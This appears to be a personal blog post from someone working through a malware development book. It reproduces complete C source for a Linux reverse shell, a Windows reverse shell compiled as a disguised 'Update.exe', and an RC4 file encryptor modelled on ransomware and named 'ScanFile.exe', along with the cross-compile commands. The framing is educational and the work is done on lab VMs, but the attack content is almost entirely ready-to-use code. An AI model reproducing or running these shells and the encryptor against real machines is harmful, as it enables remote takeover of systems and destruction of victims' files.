I recently picked several new books from Packt, including Malware Development for Ethical Hackers. This book aims to demonstrate some of the techniques seen in malware, and showcase writing similar samples using C/C++ for both Windows and Linux operating systems.

My codebase as I work through this book can be found on my GitHub, here.

Reverse Shells

The first examples dive into creating reverse shells.

Linux Reverse Shell

My compiled reverse shell for linux.

It worked! The book does not actually talk about compiling or executing the first example for linux, but I went ahead with gcc to compile and then execute the program. I added some additional comments to my code for helping me (and others) in what some of the calls are doing. I have programmed for over a decade at this point, but I only had a brief stent with C related programming back during college, and nothing involving networking.

/*
    Linux-Only Reverse Shell
    18 Jan 2025
    Eric

    To build: gcc rev_shell.c
*/
#include <stdio.h>          // C standard input/output
#include <unistd.h>         // POSIX OS API
#include <netinet/ip.h>     // Internet Address Family
#include <arpa/inet.h>      // defs for internet operations
#include <sys/socket.h>     // sockets

int main(){
    const char* attacker_ip = "10.0.2.15";

    // build address / port structure
    // https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-sockaddr_in
    struct sockaddr_in target_address;
    target_address.sin_family = AF_INET;                // internet
    target_address.sin_port = htons(4444);              // convert port to binary
    // https://www.ibm.com/docs/en/zos/3.1.0?topic=lf-inet-aton-convert-internet-address-format-from-text-binary
    inet_aton(attacker_ip, &target_address.sin_addr);   // convert string address into binary

    // create socket
    int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);

    // connect
    connect(socket_file_descriptor, (struct sockaddr *)&target_address, sizeof(target_address));

    // link stdinput 0, stdoutput 1, stderror 2 to socket
    for (int index = 0; index < 3; index++){
        dup2(socket_file_descriptor, index); 
    }

    // spawn shell
    execve("/bin/sh", NULL, NULL);

    return 0;
}

Windows Reverse Shell

Similar concept but using win32 API calls instead. gcc also cannot be used as a compiler while building on linux, but instead a mingw compiler to cross-compile for Windows.

$ i686-w64-mingw32-g++ rev_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

This behemoth of a command

  • -lws2_32 loads the ws2_32 library
  • -s strips the symbol table and reloc info
  • -ffunction-sections places each function in its own section
  • -fdata-sections places each global variable in its own section
  • -Wno-write-strings suppresses warnings for writing string literals
  • -Fno-exceptions disables exception handling support
  • -fmerge-all-constants merges identical constants to reduce size
  • -static-libstdc++ includes a static link of libstdc++
  • -static-libgcc includes a static link of libgcc
  • -fpermissive allows compiler to be more permissive when running into issues

I had to reconfigure my two linux / windows VMs to be able to properly communicate using a new NAT network with DHCP on 10.0.3.1/24. With the appropriate IP addresses configured for each box, and the code given this new network adapter IP, the reverse shell is successful:

Python Web Server used to get the file onto the windows VM. Execution confirms a reverse shell in bottom left terminal.
/*
    Windows-Only Reverse Shell
    18 Jan 2025
    Eric

    To build: i686-w64-mingw32-g++ 01_reverse_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/

#include <winsock2.h>           // Sockets https://learn.microsoft.com/en-us/windows/win32/api/winsock2/
#include <stdio.h>              // C standard input/output
#pragma comment(lib, "w2_32")   // tells linker to use ws2_32.lib 


//variables
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;                //https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]){
    // attacker connection info
    char *attackerIP = "10.0.3.4";
    short attackerPort = 4444;

    // init socket library, version 2.2
    WSAStartup(MAKEWORD(2,2), &socketData);

    // create TCP IPv4 socket
    // https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketw
    // book uses (unsigned int)NULL instead of 0 for group and flags, which I have no idea why
    mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // build IPv4 IP:PORT connection struct
    connectionAddress.sin_family = AF_INET;
    connectionAddress.sin_port = htons(attackerPort);
    connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

    // connect
    WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL);

    // process info
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
    memset(&startupInfo,0, sizeof(startupInfo));    // load empty struct into memory
    startupInfo.cb = sizeof(startupInfo);           // struct size
    startupInfo.dwFlags = STARTF_USESTDHANDLES;      // additional info to in, out, err handles
    // most important line, this sets the input, output and error streams to go through the socket
    startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

    // spawn cmd shell, sending streams over socket
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);
    exit(0);
}

File Encryption

I made a few changes to the original source code that allow the file to be passed as a parameter, and also allow the output filename to be dynamic using the original + a encrypted extension, such as many popular ransomware varieties do. This bare-bones first pass does not allow for decrypting and simply encrypts using RC4:

/*
 * Example File Encryption
 * 18 Jan 2025
 * Eric
 * To build: i686-w64-mingw32-g++ 01_encrypt.c -o ScanFile.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/

#include <windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

void encrypt_file(LPCWSTR filename) {
  // buffer to hold the plaintext and the ciphertext
  BYTE buffer[1024];
  DWORD bytesRead, bytesWritten;

  printf("Add encryption extension.\n");
  // encryption settings
  LPCWSTR enc_extension = L".enc";

  // length of original filename
  size_t filename_length = wcslen(filename);
  size_t new_extension_length = wcslen(enc_extension);

  wchar_t encrypted_filename[MAX_PATH]; // allocate space for new

  // copy original filename to buffer
  wcscpy(encrypted_filename, filename);
  // cat new extension
  wcscat(encrypted_filename, enc_extension);

  // open the original file, and create the new encrypted file
  printf("Get file handles.\n");
  HANDLE originalFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE newFile = CreateFileW(encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  // Get a handle to the CSP
  HCRYPTPROV hProv;
  CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);

  // Generate the session key
  HCRYPTKEY hKey;
  CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &hKey);

  // Read the plaintext file, encrypt the buffer, then write to the new file
  printf("Encrypt file contents.\n");
  while(ReadFile(originalFile, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) {
    CryptEncrypt(hKey, 0, bytesRead < sizeof(buffer), 0, buffer, &bytesRead, sizeof(buffer));
    WriteFile(newFile, buffer, bytesRead, &bytesWritten, NULL);
  }

  // Clean up
  printf("Clean up.\n");
  CryptReleaseContext(hProv, 0);
  CryptDestroyKey(hKey);
  CloseHandle(originalFile);
  CloseHandle(newFile);
}

int main(int argc, char *argv[]) {
    // check to see if a filename is passed as an arg
    if (argc < 2) {
        printf("Error: No filename provided.\n");
        return 1;
    }

    // convert char arg into LPCWSTR
    char* filename = argv[1];
    int size = MultiByteToWideChar(CP_ACP, 0, filename, -1, NULL, 0);
    wchar_t* wstr = new wchar_t[size];
    MultiByteToWideChar(CP_ACP, 0, filename, -1, wstr, size);

    // if so, encrypt it
    encrypt_file(wstr);
    return 0;
}